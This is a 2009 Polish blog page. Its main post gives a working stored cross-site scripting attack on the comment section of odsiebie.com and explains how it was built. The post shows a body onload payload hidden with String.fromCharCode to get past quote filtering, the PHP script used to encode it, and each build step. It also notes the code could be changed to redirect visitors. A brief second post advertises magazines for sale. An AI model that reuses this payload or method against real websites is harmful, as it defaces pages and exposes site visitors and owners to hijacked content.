Mało piszę, mądrze piszę!
- Tymczasowa strona dla XVweb

sobota, 16 maja 2009

OdSiebie.com złamane! Kod XSS

Ostatnio wszedłem na odsiebie.com , wchodzę na profil, a tam niespodzianka - migający tekst w komentarzu. Ja też tak chciałem! Nie jestem gorszy. Sprawdziłem tag <bind> i działał! Sprawdziłem wreszcie znaczniki <script> i <style>. Niestety nie działały, ale za to nie blokują znacznika <body>. To więc już wiadomo co robić.
Na początek dam wam zastrzyk kodu xss:
<body onload="document.write(String.fromCharCode(60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 119, 105, 100, 116, 104, 58, 49, 48, 48, 37, 59, 32, 104, 101, 105, 103, 104, 116, 58, 49, 48, 48, 37, 59, 32, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 58, 35, 70, 70, 70, 34, 62, 72, 97, 99, 107, 101, 100, 63, 32, 84, 97, 97, 46, 46, 46, 46, 32, 90, 101, 115, 112, 243, 179, 32, 111, 100, 115, 105, 101, 98, 105, 101, 46, 99, 111, 109, 32, 100, 97, 106, 101, 32, 110, 97, 109, 32, 122, 97, 32, 100, 117, 191, 111, 32, 115, 119, 111, 98, 111, 100, 121, 32, 119, 32, 122, 110, 97, 99, 122, 110, 105, 107, 97, 99, 104, 32, 119, 32, 107, 111, 109, 101, 110, 116, 97, 114, 122, 97, 99, 104, 46, 32, 90, 97, 109, 105, 97, 115, 116, 32, 99, 122, 121, 115, 116, 101, 103, 111, 32, 104, 116, 109, 108, 32, 100, 97, 106, 99, 105, 101, 32, 98, 98, 99, 111, 100, 101, 33, 32, 80, 122, 100, 114, 32, 45, 32, 78, 97, 112, 114, 97, 119, 99, 105, 101, 33, 60, 47, 100, 105, 118, 62)); return false;">Hacked?</body>

Teraz opiszę jak stworzyć taki kod, lecz najpierw powiem, jak do tego doszedłem.

Na początku w komentarzu napisałem:
<body
onload="document.write('<div style="width:100%; height:100%;
background:#FFF">Hacked?</div>');">Hacked?</body>
No i nie działało. Zamieniane quoty ' na " . Lecz można to ominąć porzez funkcję String.fromCharCode, która zamienia numer znaku asci na znak. Pobawiłęm się w php:
<?php
$string = '<div style="width:100%; height:100%; background:#FFF">Hacked? Taa.... Zespół odsiebie.com daje nam za dużo swobody w znacznikach w komentarzach. Zamiast czystego html dajcie bbcode! Pzdr - Naprawcie!</div>';
$array = preg_split('//', $string, -1, PREG_SPLIT_NO_EMPTY);
foreach($array as $char) print(ord($char).", ");
?>

Co ten skrypt robi? Przekształca każdy znak w zmiennej $string na odpowiadający kod w tablicy ASCII. Otrzymałem
60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 119, 105, 100, 116, 104, 58, 49, 48, 48, 37, 59, 32, 104, 101, 105, 103, 104, 116, 58, 49, 48, 48, 37, 59, 32, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 58, 35, 70, 70, 70, 34, 62, 72, 97, 99, 107, 101, 100, 63, 32, 84, 97, 97, 46, 46, 46, 46, 32, 90, 101, 115, 112, 243, 179, 32, 111, 100, 115, 105, 101, 98, 105, 101, 46, 99, 111, 109, 32, 100, 97, 106, 101, 32, 110, 97, 109, 32, 122, 97, 32, 100, 117, 191, 111, 32, 115, 119, 111, 98, 111, 100, 121, 32, 119, 32, 122, 110, 97, 99, 122, 110, 105, 107, 97, 99, 104, 32, 119, 32, 107, 111, 109, 101, 110, 116, 97, 114, 122, 97, 99, 104, 46, 32, 90, 97, 109, 105, 97, 115, 116, 32, 99, 122, 121, 115, 116, 101, 103, 111, 32, 104, 116, 109, 108, 32, 100, 97, 106, 99, 105, 101, 32, 98, 98, 99, 111, 100, 101, 33, 32, 80, 122, 100, 114, 32, 45, 32, 78, 97, 112, 114, 97, 119, 99, 105, 101, 33, 60, 47, 100, 105, 118, 62,

Usunięcie ostatniego przecinka i stworzenie kodu js, czyli:
document.write(String.fromCharCode(60,
100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 119, 105, 100, 116,
104, 58, 49, 48, 48, 37, 59, 32, 104, 101, 105, 103, 104, 116, 58, 49,
48, 48, 37, 59, 32, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 58,
35, 70, 70, 70, 34, 62, 72, 97, 99, 107, 101, 100, 63, 32, 84, 97, 97,
46, 46, 46, 46, 32, 90, 101, 115, 112, 243, 179, 32, 111, 100, 115,
105, 101, 98, 105, 101, 46, 99, 111, 109, 32, 100, 97, 106, 101, 32,
110, 97, 109, 32, 122, 97, 32, 100, 117, 191, 111, 32, 115, 119, 111,
98, 111, 100, 121, 32, 119, 32, 122, 110, 97, 99, 122, 110, 105, 107,
97, 99, 104, 32, 119, 32, 107, 111, 109, 101, 110, 116, 97, 114, 122,
97, 99, 104, 46, 32, 90, 97, 109, 105, 97, 115, 116, 32, 99, 122, 121,
115, 116, 101, 103, 111, 32, 104, 116, 109, 108, 32, 100, 97, 106, 99,
105, 101, 32, 98, 98, 99, 111, 100, 101, 33, 32, 80, 122, 100, 114, 32,
45, 32, 78, 97, 112, 114, 97, 119, 99, 105, 101, 33, 60, 47, 100, 105,
118, 62);

No i teraz trzeba było jakoś go wykonać aby automatycznie przy otwarciu strony. To stawiłem do wydarzenia onload znacznika <body>, czyli tak jak powyżej:

<body
onload="document.write(String.fromCharCode(60, 100, 105, 118, 32, 115,
116, 121, 108, 101, 61, 34, 119, 105, 100, 116, 104, 58, 49, 48, 48,
37, 59, 32, 104, 101, 105, 103, 104, 116, 58, 49, 48, 48, 37, 59, 32,
98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 58, 35, 70, 70, 70, 34,
62, 72, 97, 99, 107, 101, 100, 63, 32, 84, 97, 97, 46, 46, 46, 46, 32,
90, 101, 115, 112, 243, 179, 32, 111, 100, 115, 105, 101, 98, 105, 101,
46, 99, 111, 109, 32, 100, 97, 106, 101, 32, 110, 97, 109, 32, 122, 97,
32, 100, 117, 191, 111, 32, 115, 119, 111, 98, 111, 100, 121, 32, 119,
32, 122, 110, 97, 99, 122, 110, 105, 107, 97, 99, 104, 32, 119, 32,
107, 111, 109, 101, 110, 116, 97, 114, 122, 97, 99, 104, 46, 32, 90,
97, 109, 105, 97, 115, 116, 32, 99, 122, 121, 115, 116, 101, 103, 111,
32, 104, 116, 109, 108, 32, 100, 97, 106, 99, 105, 101, 32, 98, 98, 99,
111, 100, 101, 33, 32, 80, 122, 100, 114, 32, 45, 32, 78, 97, 112, 114,
97, 119, 99, 105, 101, 33, 60, 47, 100, 105, 118, 62)); return
false;">Hacked?</body>

No i to wszysko. To jest niebezpieczne dla włascicieli odsiebie.com . Można przekształcić ten kod, by przkierowywał na jakąś inną stronę.

Pozdrowienia!

PS.
Ja tylko zamieszczam informacje - nie wyrządziłem szkód. Nie biorę odpowiedzialności za ten kod!



poniedziałek, 4 maja 2009

Sprzedaje czasopisma

Ciężko jest mi rozstać z moimi czasopismami, ale chyba będę musiał. Zapadła decyzja żeby je sprzedać. Więc je sprzedaje.
O to link do sklepiku:
http://www.bordeux.gofreeserve.com/


Trochę ich się nazbierało przez te wszystkie lata.
Link do allegro:
http://allegro.pl/show_item.php?item=631678064

Labels

Obserwatorzy